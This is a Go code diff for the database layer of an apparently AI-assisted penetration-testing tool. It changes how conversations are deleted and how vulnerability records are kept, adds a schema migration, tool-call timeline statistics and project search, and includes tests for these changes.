+			    OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
+			searchPattern, searchPattern,
+		).Scan(&count)
+	} else {
+		err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
+	}
+	if err != nil {
+		return 0, fmt.Errorf("统计对话失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListConversations 列出所有对话
 func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
 	var rows *sql.Rows
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
 	return conversations, nil
 }
 
+const ungroupedConversationsSQL = `
+	FROM conversations c
+	WHERE NOT EXISTS (
+		SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
+	)`
+
+// CountUngroupedConversations 统计不在任何分组中的对话数量。
+func (db *DB) CountUngroupedConversations() (int, error) {
+	var count int
+	if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计未分组对话失败: %w", err)
+	}
+	return count, nil
+}
+
+// ListUngroupedConversations 列出不在任何分组中的对话（最近对话侧栏）。
+func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
+	rows, err := db.Query(
+		`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
+			ungroupedConversationsSQL+`
+		 ORDER BY c.updated_at DESC
+		 LIMIT ? OFFSET ?`,
+		limit, offset,
+	)
+	if err != nil {
+		return nil, fmt.Errorf("查询未分组对话失败: %w", err)
+	}
+	defer rows.Close()
+
+	var conversations []*Conversation
+	for rows.Next() {
+		var conv Conversation
+		var createdAt, updatedAt string
+		var pinned int
+		var projectID sql.NullString
+
+		if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
+			return nil, fmt.Errorf("扫描对话失败: %w", err)
+		}
+		if projectID.Valid {
+			conv.ProjectID = strings.TrimSpace(projectID.String)
+		}
+
+		var err1, err2 error
+		conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
+		if err1 != nil {
+			conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
+		}
+		if err1 != nil {
+			conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
+		}
+
+		conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
+		if err2 != nil {
+			conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
+		}
+		if err2 != nil {
+			conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
+		}
+
+		conv.Pinned = pinned != 0
+		conversations = append(conversations, &conv)
+	}
+
+	return conversations, rows.Err()
+}
+
 // UpdateConversationTitle 更新对话标题
 func (db *DB) UpdateConversationTitle(id, title string) error {
 	// 注意：不更新 updated_at，因为重命名操作不应该改变对话的更新时间
@@ -455,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
 	return nil
 }
 
-// DeleteConversation 删除对话及其所有相关数据
+// DeleteConversation 删除对话及其会话相关数据。
 // 由于数据库外键约束设置了 ON DELETE CASCADE，删除对话时会自动删除：
 // - messages（消息）
 // - process_details（过程详情）
 // - attack_chain_nodes（攻击链节点）
 // - attack_chain_edges（攻击链边）
-// - vulnerabilities（漏洞）
 // - conversation_group_mappings（分组映射）
-// 注意：knowledge_retrieval_logs 使用 ON DELETE SET NULL，记录会保留但 conversation_id 会被设为 NULL
+// 漏洞记录会保留：vulnerabilities.conversation_id 使用 ON DELETE SET NULL，仅解除与会话的关联。
+// 注意：knowledge_retrieval_logs 在删除前会被显式清理。
 func (db *DB) DeleteConversation(id string) error {
+	// 删除对话前补全漏洞来源标签，便于在漏洞库中追溯已删除会话的发现。
+	_, err := db.Exec(`
+		UPDATE vulnerabilities
+		SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
+		WHERE conversation_id = ?
+	`, id, id)
+	if err != nil {
+		db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
+	}
+
 	// 显式删除知识检索日志（虽然外键是SET NULL，但为了彻底清理，我们手动删除）
-	_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
+	_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
 	if err != nil {
 		db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
 		// 不返回错误，继续删除对话
@@ -477,17 +575,51 @@ func (db *DB) DeleteConversation(id string) error {
 	if err != nil {
 		return fmt.Errorf("删除对话失败: %w", err)
 	}
-	// Best-effort cleanup for conversation-scoped filesystem artifacts
-	// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
-	if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
-		artDir := filepath.Join(base, id)
-		if rmErr := os.RemoveAll(artDir); rmErr != nil {
-			db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
+	db.removeConversationScopedDirs(id)
+
+	db.logger.Info("对话已删除（漏洞记录已保留）", zap.String("conversationId", id))
+	return nil
+}
+
+func sanitizeConversationPathSegment(s string) string {
+	s = strings.TrimSpace(s)
+	if s == "" {
+		return "default"
+	}
+	s = strings.ReplaceAll(s, string(filepath.Separator), "-")
+	s = strings.ReplaceAll(s, "/", "-")
+	s = strings.ReplaceAll(s, "\\", "-")
+	s = strings.ReplaceAll(s, "..", "__")
+	if len(s) > 180 {
+		s = s[:180]
+	}
+	return s
+}
+
+func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
+	base = strings.TrimSpace(base)
+	if base == "" {
+		return
+	}
+	dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
+	if rmErr := os.RemoveAll(dir); rmErr != nil {
+		if db.logger != nil {
+			db.logger.Warn("删除会话目录失败",
+				zap.String("conversationId", conversationID),
+				zap.String("kind", label),
+				zap.String("dir", dir),
+				zap.Error(rmErr))
 		}
 	}
+}
 
-	db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
-	return nil
+func (db *DB) removeConversationScopedDirs(conversationID string) {
+	// summarization transcript, reduction files, etc.
+	db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
+	// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
+	db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
+	// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
+	db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
 }
 
 // SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
@@ -604,7 +736,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
 // GetMessages 获取对话的所有消息
 func (db *DB) GetMessages(conversationID string) ([]Message, error) {
 	rows, err := db.Query(
-		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {
@@ -799,7 +931,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
 // GetProcessDetails 获取消息的过程详情
 func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
 		messageID,
 	)
 	if err != nil {
@@ -835,7 +967,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
 // GetProcessDetailsByConversation 获取对话的所有过程详情（按消息分组）
 func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
 	rows, err := db.Query(
-		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC",
+		"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
 		conversationID,
 	)
 	if err != nil {

internal/database/conversation_cleanup_test.go

@@ -0,0 +1,57 @@
+package database
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "conversations.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
+	checkpointBase := filepath.Join(tmp, "eino-checkpoints")
+	db.SetEinoConversationDirs(plantaskBase, checkpointBase)
+
+	conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+	convID := conv.ID
+	seg := sanitizeConversationPathSegment(convID)
+	for _, base := range []struct {
+		root string
+		file string
+	}{
+		{db.conversationArtifactsDir, "transcript.txt"},
+		{plantaskBase, "task-1.json"},
+		{checkpointBase, "runner-deep.ckpt"},
+	} {
+		dir := filepath.Join(base.root, seg)
+		if err := os.MkdirAll(dir, 0o755); err != nil {
+			t.Fatalf("mkdir %s: %v", dir, err)
+		}
+		if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
+			t.Fatalf("write %s: %v", base.file, err)
+		}
+	}
+
+	if err := db.DeleteConversation(convID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase} {
+		dir := filepath.Join(base, seg)
+		if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
+			t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
+		}
+	}
+}

internal/database/conversation_vulnerability_test.go

@@ -0,0 +1,69 @@
+package database
+
+import (
+	"path/filepath"
+	"testing"
+
+	"go.uber.org/zap"
+)
+
+func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-preserve.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
+	if err != nil {
+		t.Fatalf("CreateConversation: %v", err)
+	}
+
+	vuln, err := db.CreateVulnerability(&Vulnerability{
+		ConversationID: conv.ID,
+		Title:          "SQL Injection",
+		Severity:       "high",
+		Status:         "open",
+	})
+	if err != nil {
+		t.Fatalf("CreateVulnerability: %v", err)
+	}
+
+	if err := db.DeleteConversation(conv.ID); err != nil {
+		t.Fatalf("DeleteConversation: %v", err)
+	}
+
+	got, err := db.GetVulnerability(vuln.ID)
+	if err != nil {
+		t.Fatalf("GetVulnerability after delete: %v", err)
+	}
+	if got.Title != "SQL Injection" {
+		t.Fatalf("title = %q, want SQL Injection", got.Title)
+	}
+	if got.ConversationID != "" {
+		t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
+	}
+	if got.ConversationTag != "vuln source chat" {
+		t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
+	}
+}
+
+func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
+	tmp := t.TempDir()
+	dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
+	db, err := NewDB(dbPath, zap.NewNop())
+	if err != nil {
+		t.Fatalf("NewDB: %v", err)
+	}
+	defer db.Close()
+
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
+		t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
+	}
+	if !ok {
+		t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
+	}
+}

internal/database/database.go

@@ -49,6 +49,8 @@ type DB struct {
 	*sql.DB
 	logger                   *zap.Logger
 	conversationArtifactsDir string
+	einoPlantaskBaseDir      string // skills_dir + plantask_rel_dir (per-conversation subdirs)
+	einoCheckpointBaseDir    string // checkpoint_dir root (per-conversation subdirs)
 	checkpointLoopName       string
 	checkpointStop           chan struct{}
 	checkpointDone           chan struct{}
@@ -155,6 +157,16 @@ func NewDB(dbPath string, logger *zap.Logger) (*DB, error) {
 	return database, nil
 }
 
+// SetEinoConversationDirs configures best-effort filesystem cleanup on DeleteConversation.
+// plantaskBase is skills_root/plantask_rel (no conversation id); checkpointBase is checkpoint_dir root.
+func (db *DB) SetEinoConversationDirs(plantaskBase, checkpointBase string) {
+	if db == nil {
+		return
+	}
+	db.einoPlantaskBaseDir = strings.TrimSpace(plantaskBase)
+	db.einoCheckpointBaseDir = strings.TrimSpace(checkpointBase)
+}
+
 // initTables 初始化数据库表
 func (db *DB) initTables() error {
 	// 创建对话表（last_react_input / last_react_output 存「代理消息轨迹」JSON 与助手摘要，列名保留以兼容已有库）
@@ -334,7 +346,6 @@ func (db *DB) initTables() error {
 		source_conversation_id TEXT,
 		source_message_id TEXT,
 		pinned INTEGER NOT NULL DEFAULT 0,
-		supersedes_fact_id TEXT,
 		related_vulnerability_id TEXT,
 		created_at DATETIME NOT NULL,
 		updated_at DATETIME NOT NULL,
@@ -342,30 +353,11 @@ func (db *DB) initTables() error {
 		UNIQUE(project_id, fact_key)
 	);`
 
-	createProjectFactVersionsTable := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-
 	// 创建漏洞表
 	createVulnerabilitiesTable := `
 	CREATE TABLE IF NOT EXISTS vulnerabilities (
 		id TEXT PRIMARY KEY,
-		conversation_id TEXT NOT NULL,
+		conversation_id TEXT,
 		conversation_tag TEXT,
 		task_tag TEXT,
 		title TEXT NOT NULL,
@@ -379,7 +371,8 @@ func (db *DB) initTables() error {
 		recommendation TEXT,
 		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
 		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
-		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
 	);`
 
 	// 创建批量任务队列表
@@ -598,7 +591,6 @@ func (db *DB) initTables() error {
 	CREATE INDEX IF NOT EXISTS idx_project_facts_project_id ON project_facts(project_id);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_confidence ON project_facts(confidence);
 	CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id);
-	CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id);
 	CREATE INDEX IF NOT EXISTS idx_conversations_project_id ON conversations(project_id);
 	CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id);
 	CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
@@ -680,10 +672,6 @@ func (db *DB) initTables() error {
 		return fmt.Errorf("创建project_facts表失败: %w", err)
 	}
 
-	if _, err := db.Exec(createProjectFactVersionsTable); err != nil {
-		return fmt.Errorf("创建project_fact_versions表失败: %w", err)
-	}
-
 	if _, err := db.Exec(createVulnerabilitiesTable); err != nil {
 		return fmt.Errorf("创建vulnerabilities表失败: %w", err)
 	}
@@ -750,12 +738,15 @@ func (db *DB) initTables() error {
 		db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
 		// 不返回错误，允许继续运行
 	}
+	if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
+		db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
+	}
 
 	if err := db.migrateProjectsTable(); err != nil {
 		db.logger.Warn("迁移projects相关表失败", zap.Error(err))
 	}
-	if err := db.migrateProjectFactVersionsTable(); err != nil {
-		db.logger.Warn("迁移project_fact_versions表失败", zap.Error(err))
+	if err := db.dropProjectFactVersionsTable(); err != nil {
+		db.logger.Warn("清理project_fact_versions表失败", zap.Error(err))
 	}
 
 	if err := db.migrateWebshellConnectionsTable(); err != nil {
@@ -1153,34 +1144,122 @@ func (db *DB) migrateProjectsTable() error {
 	return nil
 }
 
-// migrateProjectFactVersionsTable 为已有库创建事实版本表。
-func (db *DB) migrateProjectFactVersionsTable() error {
-	ddl := `
-	CREATE TABLE IF NOT EXISTS project_fact_versions (
-		id TEXT PRIMARY KEY,
-		fact_id TEXT NOT NULL,
-		project_id TEXT NOT NULL,
-		fact_key TEXT NOT NULL,
-		category TEXT NOT NULL DEFAULT 'note',
-		summary TEXT NOT NULL DEFAULT '',
-		body TEXT,
-		confidence TEXT NOT NULL DEFAULT 'tentative',
-		source_conversation_id TEXT,
-		source_message_id TEXT,
-		pinned INTEGER NOT NULL DEFAULT 0,
-		related_vulnerability_id TEXT,
-		archived_at DATETIME NOT NULL,
-		FOREIGN KEY (fact_id) REFERENCES project_facts(id) ON DELETE CASCADE,
-		FOREIGN KEY (project_id) REFERENCES projects(id) ON DELETE CASCADE
-	);`
-	if _, err := db.Exec(ddl); err != nil {
+// dropProjectFactVersionsTable 移除已废弃的事实版本归档表。
+func (db *DB) dropProjectFactVersionsTable() error {
+	_, err := db.Exec(`DROP TABLE IF EXISTS project_fact_versions`)
+	return err
+}
+
+// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL，删除对话时保留漏洞记录。
+func (db *DB) migrateVulnerabilitiesConversationFK() error {
+	ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
+	if err != nil {
 		return err
 	}
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_fact_versions_fact_id ON project_fact_versions(fact_id)`)
-	_, _ = db.Exec(`CREATE INDEX IF NOT EXISTS idx_project_facts_related_vuln ON project_facts(related_vulnerability_id)`)
+	if ok {
+		return nil
+	}
+
+	tx, err := db.Begin()
+	if err != nil {
+		return fmt.Errorf("开启事务失败: %w", err)
+	}
+	defer func() { _ = tx.Rollback() }()
+
+	const createNew = `
+	CREATE TABLE vulnerabilities_new (
+		id TEXT PRIMARY KEY,
+		conversation_id TEXT,
+		conversation_tag TEXT,
+		task_tag TEXT,
+		title TEXT NOT NULL,
+		description TEXT,
+		severity TEXT NOT NULL,
+		status TEXT NOT NULL DEFAULT 'open',
+		vulnerability_type TEXT,
+		target TEXT,
+		proof TEXT,
+		impact TEXT,
+		recommendation TEXT,
+		created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
+		project_id TEXT,
+		FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
+	);`
+	if _, err := tx.Exec(createNew); err != nil {
+		return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
+	}
+
+	const copyRows = `
+	INSERT INTO vulnerabilities_new (
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	)
+	SELECT
+		id, conversation_id, conversation_tag, task_tag, title, description,
+		severity, status, vulnerability_type, target, proof, impact, recommendation,
+		created_at, updated_at, project_id
+	FROM vulnerabilities;`
+	if _, err := tx.Exec(copyRows); err != nil {
+		return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
+	}
+	if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
+		return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
+	}
+	if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
+		return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
+	}
+
+	indexes := []string{
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
+		`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
+	}
+	for _, stmt := range indexes {
+		if _, err := tx.Exec(stmt); err != nil {
+			return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
+		}
+	}
+
+	if err := tx.Commit(); err != nil {
+		return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
+	}
+	db.logger.Info("vulnerabilities 表已迁移：删除对话时保留漏洞记录")
 	return nil
 }
 
+func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
+	rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
+	if err != nil {
+		return false, err
+	}
+	defer rows.Close()
+
+	found := false
+	for rows.Next() {
+		var id, seq int
+		var table, from, to, onUpdate, onDelete, match string
+		if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
+			return false, err
+		}
+		if from == "conversation_id" {
+			found = true
+			if !strings.EqualFold(onDelete, "SET NULL") {
+				return false, nil
+			}
+		}
+	}
+	if err := rows.Err(); err != nil {
+		return false, err
+	}
+	return found, nil
+}
+
 // migrateVulnerabilitiesTable 迁移 vulnerabilities 表，补充标签字段
 func (db *DB) migrateVulnerabilitiesTable() error {
 	columns := []struct {

internal/database/monitor.go

@@ -3,6 +3,7 @@ package database
 import (
 	"database/sql"
 	"encoding/json"
+	"sort"
 	"strings"
 	"time"
 
@@ -71,6 +72,23 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
 	return nil
 }
 
+// UpdateToolExecutionResult 仅更新结果字段（用于 reduction 后将监控展示与模型上下文对齐）。
+func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error {
+	id = strings.TrimSpace(id)
+	if id == "" || result == nil {
+		return nil
+	}
+	resultBytes, err := json.Marshal(result)
+	if err != nil {
+		return err
+	}
+	_, err = db.Exec(`UPDATE tool_executions SET result = ? WHERE id = ?`, string(resultBytes), id)
+	if err != nil {
+		db.logger.Warn("更新工具执行结果失败", zap.Error(err), zap.String("executionId", id))
+	}
+	return err
+}
+
 // CountToolExecutions 统计工具执行记录总数
 func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
 	query := `SELECT COUNT(*) FROM tool_executions`
@@ -493,6 +511,68 @@ func (db *DB) UpdateToolStats(toolName string, totalCalls, successCalls, failedC
 	return nil
 }
 
+// CallsTimelineBucket 调用趋势时间桶
+type CallsTimelineBucket struct {
+	BucketTime time.Time
+	Total      int
+	Failed     int
+}
+
+// truncateCallsTimelineBucket 将时间截断到趋势图桶边界（本地时区，与 handler 侧 truncateToBucket 一致）
+func truncateCallsTimelineBucket(t time.Time, dailyBuckets bool) time.Time {
+	t = t.In(time.Local)
+	if dailyBuckets {
+		y, m, d := t.Date()
+		return time.Date(y, m, d, 0, 0, 0, 0, time.Local)
+	}
+	return t.Truncate(time.Hour)
+}
+
+// LoadCallsTimeline 按时间范围加载调用趋势（since 起至今，含边界）
+func (db *DB) LoadCallsTimeline(since time.Time, dailyBuckets bool) ([]CallsTimelineBucket, error) {
+	// 在 Go 侧按本地时区分桶，避免 SQLite strftime 对 UTC 存储时间分桶后再误当本地时间解析（差 8h 等问题）
+	query := `
+		SELECT start_time,
+			CASE WHEN status IN ('failed', 'cancelled') THEN 1 ELSE 0 END AS failed
+		FROM tool_executions
+		WHERE start_time >= ?
+	`
+
+	rows, err := db.Query(query, since)
+	if err != nil {
+		return nil, err
+	}
+	defer rows.Close()
+
+	bucketMap := make(map[time.Time]struct{ total, failed int })
+	for rows.Next() {
+		var startTime time.Time
+		var failed int
+		if err := rows.Scan(&startTime, &failed); err != nil {
+			db.logger.Warn("加载调用趋势失败", zap.Error(err))
+			continue
+		}
+		key := truncateCallsTimelineBucket(startTime, dailyBuckets)
+		entry := bucketMap[key]
+		entry.total++
+		entry.failed += failed
+		bucketMap[key] = entry
+	}
+
+	buckets := make([]CallsTimelineBucket, 0, len(bucketMap))
+	for bucketTime, counts := range bucketMap {
+		buckets = append(buckets, CallsTimelineBucket{
+			BucketTime: bucketTime,
+			Total:      counts.total,
+			Failed:     counts.failed,
+		})
+	}
+	sort.Slice(buckets, func(i, j int) bool {
+		return buckets[i].BucketTime.Before(buckets[j].BucketTime)
+	})
+	return buckets, nil
+}
+
 // DecreaseToolStats 减少工具统计信息（用于删除执行记录时）
 // 如果统计信息变为0，则删除该统计记录
 func (db *DB) DecreaseToolStats(toolName string, totalCalls, successCalls, failedCalls int) error {

internal/database/project.go

@@ -51,7 +51,6 @@ type ProjectFact struct {
 	SourceConversationID   string    `json:"source_conversation_id,omitempty"`
 	SourceMessageID        string    `json:"source_message_id,omitempty"`
 	Pinned                 bool      `json:"pinned"`
-	SupersedesFactID       string    `json:"supersedes_fact_id,omitempty"`
 	RelatedVulnerabilityID string    `json:"related_vulnerability_id,omitempty"`
 	CreatedAt              time.Time `json:"created_at"`
 	UpdatedAt              time.Time `json:"updated_at"`
@@ -112,10 +111,30 @@ func (db *DB) GetProject(id string) (*Project, error) {
 	return &p, nil
 }
 
+// CountProjects 统计项目数量。
+func (db *DB) CountProjects(status, search string) (int, error) {
+	query := `SELECT COUNT(*) FROM projects WHERE 1=1`
+	args := []interface{}{}
+	if s := strings.TrimSpace(status); s != "" {
+		query += " AND status = ?"
+		args = append(args, s)
+	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
+	var count int
+	if err := db.QueryRow(query, args...).Scan(&count); err != nil {
+		return 0, fmt.Errorf("统计项目失败: %w", err)
+	}
+	return count, nil
+}
+
 // ListProjects 列出项目。
-func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error) {
+func (db *DB) ListProjects(status, search string, limit, offset int) ([]*Project, error) {
 	if limit <= 0 {
-		limit = 200
+		limit = 50
 	}
 	query := `SELECT id, name, COALESCE(description,''), COALESCE(scope_json,''), status, pinned, created_at, updated_at
 		FROM projects WHERE 1=1`
@@ -124,6 +143,11 @@ func (db *DB) ListProjects(status string, limit, offset int) ([]*Project, error)
 		query += " AND status = ?"
 		args = append(args, s)
 	}
+	if q := strings.TrimSpace(search); q != "" {
+		pattern := "%" + q + "%"
+		query += " AND (name LIKE ? OR COALESCE(description,'') LIKE ?)"
+		args = append(args, pattern, pattern)
+	}
 	query += " ORDER BY pinned DESC, updated_at DESC LIMIT ? OFFSET ?"
 	args = append(args, limit, offset)
 
@@ -215,7 +239,7 @@ func (db *DB) SetConversationProjectID(conversationID, projectID string) error {
 func (db *DB) ListProjectFactsForIndex(projectID string, includeDeprecated bool) ([]*ProjectFact, error) {
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if !includeDeprecated {
@@ -237,7 +261,7 @@ func (db *DB) ListProjectFacts(projectID string, filter ProjectFactListFilter, l
 	}
 	query := `SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 		COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-		COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+		COALESCE(related_vulnerability_id,''), created_at, updated_at
 		FROM project_facts WHERE project_id = ?`
 	args := []interface{}{projectID}
 	if c := strings.TrimSpace(filter.Category); c != "" {
@@ -276,7 +300,7 @@ func (db *DB) GetProjectFactByKey(projectID, factKey string) (*ProjectFact, erro
 	row := db.QueryRow(
 		`SELECT id, project_id, fact_key, category, summary, COALESCE(body,''), confidence,
 			COALESCE(source_conversation_id,''), COALESCE(source_message_id,''), pinned,
-			COALESCE(supersedes_fact_id,''), COALESCE(related_vulnerability_id,''), created_at, updated_at
+			COALESCE(related_vulnerability_id,''), created_at, updated_at
 		 FROM project_facts WHERE project_id = ? AND fact_key = ?`,
 		projectID, factKey,
 	)
